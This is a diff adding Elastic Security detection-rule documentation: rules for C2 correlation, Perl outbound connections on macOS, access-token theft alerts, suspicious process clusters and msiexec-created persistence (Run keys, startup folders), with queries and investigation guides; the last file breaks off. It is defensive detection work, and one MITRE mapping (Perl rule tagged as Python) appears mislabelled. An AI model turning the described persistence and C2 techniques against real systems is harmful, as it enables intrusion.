+=== PANW and Elastic Defend - Command and Control Correlation + +This detection correlates Palo Alto Networks (PANW) command and control events with Elastic Defend network events to identify the source process performing the network activity. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network-* +* logs-panw.panos-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/tactics/TA0011/ +* https://www.elastic.co/docs/reference/integrations/panw +* https://www.elastic.co/docs/reference/integrations/endpoint + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Data Source: PAN-OS +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating PANW and Elastic Defend - Command and Control Correlation* + + + +*Possible investigation steps* + + +- Investigate in the Timeline feature the two events matching this correlation (PANW and Elastic Defend). +- Review the process details like command_line, privileges, global relevance and reputation. +- Assess the destination.ip reputation and global relevance. +- Review the parent process execution details like command_line, global relevance and reputation. +- Examine all network connection details performed by the process during last 48h. +- Correlate the alert with other security events or logs to identify any patterns or additional indicators of compromise related to the same process or network activity. + + +*False positive analysis* + + +- Trusted system or third party processes performing network activity that looks like beaconing. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate the suspicious processes and all associated children and parents. +- Implement network-level controls to block traffic to the destination.ip. +- Conduct a thorough review of the system's configuration files to identify unauthorized changes. +- Reset credentials for any accounts associated with the source machine. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by source.port, source.ip, destination.ip with maxspan=1m + [network where event.module == "panw" and event.action == "c2_communication"] + [network where event.module == "endpoint" and event.action in ("disconnect_received", "connection_attempted")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-parent-process-detected-with-suspicious-windows-process-es.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-parent-process-detected-with-suspicious-windows-process-es.asciidoc new file mode 100644 index 0000000000..3b7297082b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-parent-process-detected-with-suspicious-windows-process-es.asciidoc @@ -0,0 +1,139 @@ +[[prebuilt-rule-8-19-20-parent-process-detected-with-suspicious-windows-process-es]] +=== Parent Process Detected with Suspicious Windows Process(es) + +A machine learning job combination has identified a parent process with one or more suspicious Windows processes that exhibit unusually high malicious probability scores. These process(es) have been classified as malicious in several ways. The process(es) were predicted to be malicious by the ProblemChild supervised ML model. If the anomaly contains a cluster of suspicious processes, each process has the same parent process name, and the aggregate score of the event cluster was calculated to be unusually high by an unsupervised ML model. Such a cluster often contains suspicious or malicious activity, possibly involving LOLbins, that may be resistant to detection using conventional search rules. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-45m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/problemchild +* https://www.elastic.co/security-labs/detecting-living-off-the-land-attacks-with-new-elastic-integration + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Living off the Land Attack Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Parent Process Detected with Suspicious Windows Process(es)* + + +In Windows environments, processes are often spawned by parent processes, forming a hierarchy. Adversaries exploit this by using legitimate processes to launch malicious ones, often leveraging Living off the Land Binaries (LOLBins) to evade detection. The detection rule employs machine learning to identify clusters of processes with high malicious probability, focusing on those sharing a common parent process. This approach helps uncover stealthy attacks that traditional methods might miss, enhancing defense against tactics like masquerading. + + +*Possible investigation steps* + + +- Review the parent process name associated with the suspicious process cluster to identify if it is a known legitimate process or a potential masquerading attempt. +- Examine the command line arguments and execution context of the suspicious processes to identify any use of LOLBins or unusual patterns that could indicate malicious activity. +- Check the process creation timestamps and correlate them with any known events or user activities to determine if the process execution aligns with expected behavior. +- Investigate the network activity of the suspicious processes to identify any unusual outbound connections or data exfiltration attempts. +- Analyze the user account context under which the suspicious processes were executed to determine if there is any indication of compromised credentials or privilege escalation. +- Cross-reference the detected processes with threat intelligence sources to identify any known indicators of compromise or related threat actor activity. + + +*False positive analysis* + + +- Legitimate administrative tools may trigger false positives if they frequently spawn processes that resemble malicious activity. Users can create exceptions for known safe tools by whitelisting their parent process names. +- Software updates or installations often generate clusters of processes that might be flagged as suspicious. Users should monitor these activities and exclude them if they are verified as legitimate. +- Automated scripts or batch jobs that run regularly and spawn multiple processes can be mistaken for malicious clusters. Identifying these scripts and excluding their parent processes can reduce false positives. +- Security software or monitoring tools that perform regular scans or updates might mimic malicious behavior. Users should ensure these tools are recognized and excluded from the rule's scope. +- Custom business applications that are not widely recognized might be flagged. Users should document and exclude these applications if they are confirmed to be safe and necessary for operations. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of the potential threat and to contain any ongoing malicious activity. +- Terminate the suspicious processes identified by the alert to stop any malicious actions they may be performing. +- Conduct a thorough review of the parent process and its associated binaries to ensure they have not been tampered with or replaced by malicious versions. +- Restore any affected files or system components from a known good backup to ensure system integrity and functionality. +- Update and patch the system to close any vulnerabilities that may have been exploited by the adversary, focusing on those related to LOLBins and masquerading techniques. +- Monitor the system and network for any signs of re-infection or related suspicious activity, using enhanced logging and alerting mechanisms. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +The rule requires the Living off the Land (LotL) Attack Detection integration assets to be installed, as well as Windows process events collected by integrations such as Elastic Defend or Winlogbeat. + + +*LotL Attack Detection Setup* + +The LotL Attack Detection integration detects living-off-the-land activity in Windows process events. + + +*Prerequisite Requirements:* + +- Fleet is required for LotL Attack Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Windows process events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend] integration or Winlogbeat(https://www.elastic.co/guide/en/beats/winlogbeat/current/_winlogbeat_overview.html). +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. +- To set up and run Winlogbeat, follow https://www.elastic.co/guide/en/beats/winlogbeat/current/winlogbeat-installation-configuration.html[this] guide. + + +*The following steps should be executed to install assets associated with the LotL Attack Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Living off the Land Attack Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-perl-outbound-network-connection.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-perl-outbound-network-connection.asciidoc new file mode 100644 index 0000000000..b229f3bb25 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-perl-outbound-network-connection.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-20-perl-outbound-network-connection]] +=== Perl Outbound Network Connection + +Detects when Perl makes an outbound network connection to a non-private IP address. Perl is a scripting language that comes pre-installed on macOS and offers extensive capabilities for adversaries. Its use for network connections on macOS systems is uncommon and potentially suspicious. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network-* +* logs-endpoint.events.process-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Perl Outbound Network Connection* + + +This rule detects Perl starting on macOS and then initiating an outbound connection to a public (non-private) IP, a pattern that stands out because Perl rarely performs direct network reach-outs in normal macOS workflows. Attackers often abuse Perl as a built-in “living off the land” runtime to beacon to external command-and-control over HTTP/S or to fetch and execute a second-stage payload from an internet host. + + +*Possible investigation steps* + + +- Review the full command line, parent/child process tree, execution context (user, TTY, working directory), and referenced script/module paths to determine whether the run was expected or suspicious. +- Pivot on the external destination (IP, port, and any resolved domain from DNS telemetry) to assess reputation, hosting characteristics, and whether other endpoints have recently contacted the same infrastructure. +- Examine connection characteristics (protocol, TLS SNI/certificate, HTTP headers/user-agent, data volume, and timing) to identify staged downloads or beacon-like periodicity. +- Correlate nearby file activity for newly created or modified scripts, temp artifacts, or downloaded payloads, and validate them via hashes, signatures, and known-good baselines. +- Check for follow-on behavior consistent with persistence or lateral movement, such as new launchd/cron items, suspicious login items, or additional interpreters and shells spawned from the same lineage. + + +*False positive analysis* + + +- A legitimate Perl script run by an administrator or scheduled maintenance task (e.g., log rotation, health checks, or API polling) may connect to a public service endpoint over HTTP/S, matching the Perl exec followed by a non-private destination IP pattern. +- A developer workflow that uses Perl one-liners or project scripts to fetch dependencies, query internet-hosted resources, or validate external URLs can generate outbound connections to public IPs that appear unusual on endpoints without an established baseline for Perl network use. + + +*Response and remediation* + + +- Isolate the affected macOS host from the network (or block the specific destination IP/port at the egress firewall) and terminate the suspicious `perl` process to stop any active command-and-control or payload download. +- Collect and preserve the Perl command line, referenced script paths, current working directory, any newly written files (especially in `/tmp`, `/var/tmp`, and the user’s `~/Library`), and the full process tree for forensic review before cleanup. +- Remove or quarantine the identified Perl script and any downloaded payloads, then eradicate persistence by deleting malicious `launchd` agents/daemons, cron entries, and suspicious Login Items created around the time of the outbound connection. +- Reimage or restore the endpoint from a known-good source if integrity cannot be confidently validated, rotate credentials used on the device, and invalidate active sessions/tokens that may have been exposed to the Perl process. +- Escalate to IR/forensics immediately if the destination infrastructure is contacted by multiple hosts, the Perl process runs under a privileged context, or you observe repeated beacon-like connections or evidence of persistence beyond a single script execution. +- Harden by restricting interpreter execution (Perl, Python, Ruby) via endpoint controls, enforcing outbound allowlisting/proxying for user endpoints, and adding detections for Perl launching network tools or writing executable content into user-writable directories. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=30s + [process where host.os.type == "macos" and event.type == "start" and event.action == "exec" and + process.name == "perl" and not process.args like "/usr/bin/xpath"] + [network where host.os.type == "macos" and event.type == "start" and process.name == "perl" and + not cidrmatch(destination.ip, + "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", + "192.0.0.0/24", "192.0.2.0/24", "192.168.0.0/16", "192.88.99.0/24", + "224.0.0.0/4", "240.0.0.0/4", "::1", "FE80::/10", "FF00::/8")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-permission-theft-detected-elastic-endgame.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-permission-theft-detected-elastic-endgame.asciidoc new file mode 100644 index 0000000000..427fbcc0b5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-permission-theft-detected-elastic-endgame.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-20-permission-theft-detected-elastic-endgame]] +=== Permission Theft - Detected - Elastic Endgame + +Elastic Endgame detected Permission Theft. Click the Elastic Endgame icon in the event.module column or the link in the rule.reference column for additional information. + +*Rule type*: query + +*Rule indices*: + +* endgame-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: None + +*Tags*: + +* Data Source: Elastic Endgame +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 106 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Permission Theft - Detected - Elastic Endgame* + + +Elastic Endgame is a security solution that monitors and detects unauthorized access attempts, focusing on privilege escalation tactics like access token manipulation. Adversaries exploit this by stealing or forging tokens to gain elevated permissions. The detection rule identifies suspicious token-related events, flagging high-risk activities indicative of permission theft, thus enabling timely threat response. + + +*Possible investigation steps* + + +- Review the alert details to confirm the presence of event.kind:alert and event.module:endgame, ensuring the alert is related to Elastic Endgame's detection capabilities. +- Examine the event.action and endgame.event_subtype_full fields for token_protection_event to identify the specific token manipulation activity that triggered the alert. +- Investigate the source and destination user accounts involved in the alert to determine if there are any unauthorized access attempts or privilege escalations. +- Check for any recent changes or anomalies in the permissions or roles associated with the affected accounts to assess potential impact. +- Correlate the alert with other security events or logs to identify any patterns or additional indicators of compromise that may suggest a broader attack campaign. +- Consult the MITRE ATT&CK framework for additional context on the Access Token Manipulation technique (T1134) to understand potential adversary behaviors and mitigation strategies. + + +*False positive analysis* + + +- Routine administrative tasks involving token management can trigger alerts. Review and document these tasks to create exceptions for known safe activities. +- Automated scripts or services that frequently access tokens for legitimate purposes may be flagged. Identify these scripts and whitelist them to prevent unnecessary alerts. +- Software updates or installations that require elevated permissions might be detected as suspicious. Monitor these events and adjust detection rules to accommodate regular update schedules. +- Internal security tools that perform token manipulation for testing or monitoring purposes can cause false positives. Ensure these tools are recognized and excluded from detection rules. +- User behavior analytics might misinterpret legitimate user actions as threats. Regularly update user profiles and behavior baselines to minimize false alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Revoke any compromised or suspicious access tokens identified in the alert to prevent further misuse of elevated permissions. +- Conduct a thorough review of recent account activities associated with the compromised tokens to identify any unauthorized actions or changes. +- Reset passwords and enforce multi-factor authentication for accounts involved in the incident to enhance security and prevent future unauthorized access. +- Restore any altered or deleted data from backups, ensuring that the restored data is free from any malicious modifications. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems or accounts have been affected. +- Implement enhanced monitoring and logging for token-related activities to detect and respond to similar threats more effectively in the future. + +==== Setup + + + +*Setup* + + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind:alert and event.module:endgame and endgame.metadata.type:detection and (event.action:token_protection_event or endgame.event_subtype_full:token_protection_event) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ +* Sub-technique: +** Name: Token Impersonation/Theft +** ID: T1134.001 +** Reference URL: https://attack.mitre.org/techniques/T1134/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-permission-theft-prevented-elastic-endgame.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-permission-theft-prevented-elastic-endgame.asciidoc new file mode 100644 index 0000000000..56571414df --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-permission-theft-prevented-elastic-endgame.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-20-permission-theft-prevented-elastic-endgame]] +=== Permission Theft - Prevented - Elastic Endgame + +Elastic Endgame prevented Permission Theft. Click the Elastic Endgame icon in the event.module column or the link in the rule.reference column for additional information. + +*Rule type*: query + +*Rule indices*: + +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: None + +*Tags*: + +* Data Source: Elastic Endgame +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 106 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Permission Theft - Prevented - Elastic Endgame* + + +Elastic Endgame is a security solution that prevents unauthorized access by monitoring and blocking attempts to manipulate access tokens, a common privilege escalation tactic. Adversaries exploit token manipulation to gain elevated permissions without detection. The detection rule identifies and alerts on prevention events related to token protection, leveraging specific event types and actions to flag suspicious activities, thus mitigating potential threats. + + +*Possible investigation steps* + + +- Review the alert details to confirm the event.kind is 'alert' and event.module is 'endgame', ensuring the alert is relevant to Elastic Endgame's token protection. +- Examine the event.action and endgame.event_subtype_full fields to determine if the alert was triggered by a 'token_protection_event', which indicates an attempt to manipulate access tokens. +- Investigate the source and destination of the alert by analyzing associated IP addresses, user accounts, and hostnames to identify potential unauthorized access attempts. +- Check the endgame.metadata.type field to verify that the event type is 'prevention', confirming that the attempted permission theft was successfully blocked. +- Correlate the alert with other recent alerts or logs to identify patterns or repeated attempts that might indicate a persistent threat actor. +- Assess the risk score and severity level to prioritize the investigation and determine if immediate action is required to mitigate potential threats. + + +*False positive analysis* + + +- Routine administrative tasks involving legitimate token manipulation may trigger alerts. Review the context of the event to determine if it aligns with expected administrative activities. +- Scheduled scripts or automated processes that require token access might be flagged. Identify these processes and consider creating exceptions for known, safe operations. +- Software updates or installations that involve token changes can generate alerts. Verify the source and purpose of the update to ensure it is authorized, and exclude these events if they are part of regular maintenance. +- Security tools or monitoring solutions that interact with tokens for legitimate purposes may cause false positives. Cross-reference with known tool activities and whitelist these actions if they are verified as non-threatening. +- User behavior analytics might misinterpret legitimate user actions as suspicious. Analyze user activity patterns and adjust the detection thresholds or rules to better align with normal user behavior. + + +*Response and remediation* + + +- Immediately isolate the affected system to prevent further unauthorized access or privilege escalation attempts. +- Revoke any potentially compromised access tokens and force re-authentication for affected accounts to ensure that only legitimate users regain access. +- Conduct a thorough review of recent access logs and token usage to identify any unauthorized access or actions taken by the adversary. +- Apply patches or updates to the affected systems and applications to address any vulnerabilities that may have been exploited for token manipulation. +- Implement enhanced monitoring on the affected systems to detect any further attempts at access token manipulation or privilege escalation. +- Notify the security team and relevant stakeholders about the incident, providing details of the threat and actions taken, and escalate to higher management if the threat level increases. +- Review and update access control policies and token management practices to prevent similar incidents in the future, ensuring that only necessary permissions are granted and regularly audited. + +==== Setup + + + +*Setup* + + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind:alert and event.module:endgame and endgame.metadata.type:prevention and (event.action:token_protection_event or endgame.event_subtype_full:token_protection_event) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ +* Sub-technique: +** Name: Token Impersonation/Theft +** ID: T1134.001 +** Reference URL: https://attack.mitre.org/techniques/T1134/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-persistence-via-a-windows-installer.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-persistence-via-a-windows-installer.asciidoc new file mode 100644 index 0000000000..911935cbac --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-persistence-via-a-windows-installer.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-20-persistence-via-a-windows-installer]] +=== Persistence via a Windows Installer + +Identifies when the Windows installer process msiexec.exe creates a new persistence entry via scheduled tasks or startup. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* logs-endpoint.events.file-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Persistence via a Windows Installer* + + +Windows Installer, through msiexec.exe, facilitates software installation and configuration. Adversaries exploit this by creating persistence mechanisms, such as scheduled tasks or startup entries, to maintain access. The detection rule identifies suspicious activity by monitoring msiexec.exe for file creation in startup directories or registry modifications linked to auto-run keys, signaling potential persistence tactics. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific file path or registry path involved in the suspicious activity, focusing on the paths specified in the query such as "?:\\Windows\\System32\\Tasks\\*" or "H*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*". +- Check the creation or modification timestamps of the files or registry entries to determine when the suspicious activity occurred and correlate it with other events or logs around the same time. +- Investigate the parent process of msiexec.exe to understand how it was executed and whether it was initiated by a legitimate user action or another suspicious process. +- Examine the contents of the created or modified files or registry entries to identify any scripts, executables, or commands that may indicate malicious intent. +- Look for any associated network activity or connections initiated by msiexec.exe or related processes to identify potential command and control communication. +- Cross-reference the involved file or registry paths with known indicators of compromise or threat intelligence sources to assess the risk level and potential threat actor involvement. +- If applicable, isolate the affected system and perform a deeper forensic analysis to uncover any additional persistence mechanisms or lateral movement within the network. + + +*False positive analysis* + + +- Legitimate software installations or updates may trigger the rule when msiexec.exe creates scheduled tasks or startup entries. Users can create exceptions for known software vendors or specific installation paths to reduce noise. +- System administrators might use msiexec.exe for deploying software across the network, which can appear as suspicious activity. To handle this, exclude specific administrative accounts or IP ranges from the rule. +- Some enterprise management tools may utilize msiexec.exe for legitimate configuration changes, including registry modifications. Identify and exclude these tools by their process names or associated registry paths. +- Automated scripts or deployment tools that rely on msiexec.exe for software management can generate false positives. Consider excluding these scripts or tools by their execution context or associated file paths. +- Regularly review and update the exclusion list to ensure it aligns with the current software deployment and management practices within the organization. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate the msiexec.exe process if it is confirmed to be involved in creating unauthorized persistence mechanisms. +- Remove any scheduled tasks or startup entries created by msiexec.exe that are identified as malicious or unauthorized. +- Restore any modified registry keys to their original state if they were altered to establish persistence. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or processes. +- Review and update security policies to restrict the use of msiexec.exe for non-administrative users, reducing the risk of exploitation. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and + (process.name : "msiexec.exe" or Effective_process.name : "msiexec.exe") and + ( + ( + event.category == "file" and event.action == "creation" and + file.path : ( + "?:\\Windows\\System32\\Tasks\\*", + "?:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\*", + "?:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*" + ) and + not file.path : ( + "?:\\Windows\\System32\\Tasks\\Adobe Acrobat Update Task", + "?:\\Windows\\System32\\Tasks\\HP\\Sure Click\\Sure Click ?.?.??.????", + "?:\\Windows\\System32\\Tasks\\HP\\Sure Click\\Sure Click UI ?.?.??.????", + "?:\\Windows\\System32\\Tasks\\HP\\Sure Click\\Upgrade Repair ?.?.??.????", + "?:\\Windows\\System32\\Tasks\\IntelSURQC-Upgrade-86621605-2a0b-4128-8ffc-15514c247132", + "?:\\Windows\\System32\\Tasks\\IntelSURQC-Upgrade-86621605-2a0b-4128-8ffc-15514c247132-Logon" + ) + ) or + ( + event.category == "registry" and event.action == "modification" and registry.data.strings != null and + registry.path : ( + "H*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*", + "H*\\Software\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run\\*", + "H*\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*", + "H*\\Software\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*" + ) and + not registry.data.strings : ( + "C:\\Program Files (x86)\\Common Files\\Acronis\\TibMounter\\tib_mounter_monitor.exe", + "C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jusched.exe", + "C:\\Program Files\\Citrix\\Secure Access Client\\CtxsDPS.exe --clean-user-installs", + "C:\\Program Files\\OpenVPN\\bin\\openvpn-gui.exe", + "C:\\Program Files\\Veeam\\Endpoint Backup\\Veeam.EndPoint.Tray.exe -NoControlPanel -CheckNumberOfRunningAgents", + "\"C:\\Program Files (x86)\\Cisco\\Cisco Secure Client\\UI\\csc_ui.exe\" -minimized", + "\"C:\\Program Files (x86)\\Citrix\\ICA Client\\concentr.exe\" /startup", + "\"C:\\Program Files (x86)\\Citrix\\ICA Client\\Receiver\\AnalyticsSrv.exe\" /Startup", + "\"C:\\Program Files (x86)\\Citrix\\ICA Client\\redirector.exe\" /startup", + "\"C:\\Program Files (x86)\\EPSON Software\\Download Navigator\\EPSDNMON.EXE\"", + "\"C:\\Program Files (x86)\\Jabra\\Direct6\\jabra-direct.exe\" /minimized", + "\"C:\\Program Files (x86)\\VMware\\VMware Workstation\\vmware-tray.exe\"", + "\"C:\\Program Files\\ESET\\ESET Security\\ecmds.exe\" /run /hide /proxy", + "\"C:\\Program Files\\iTunes\\iTunesHelper.exe\"", + "\"C:\\Program Files\\KeePassXC\\KeePassXC.exe\"", + "\"C:\\Program Files\\Palo Alto Networks\\GlobalProtect\\PanGPA.exe\"", + "\"C:\\Program Files\\PDF24\\pdf24.exe\"", + "\"C:\\Program Files\\VMware\\VMware Tools\\vmtoolsd.exe\" -n vmusr", + "\"C:\\PROGRA~2\\Citrix\\DEVICE~1\\Bin64\\DTCLIE~1.EXE\"", + "\"%ProgramFiles%\\Teams Installer\\Teams.exe\" --checkInstall --source=default" + ) + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Scheduled Task +** ID: T1053.005 +** Reference URL: https://attack.mitre.org/techniques/T1053/005/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** 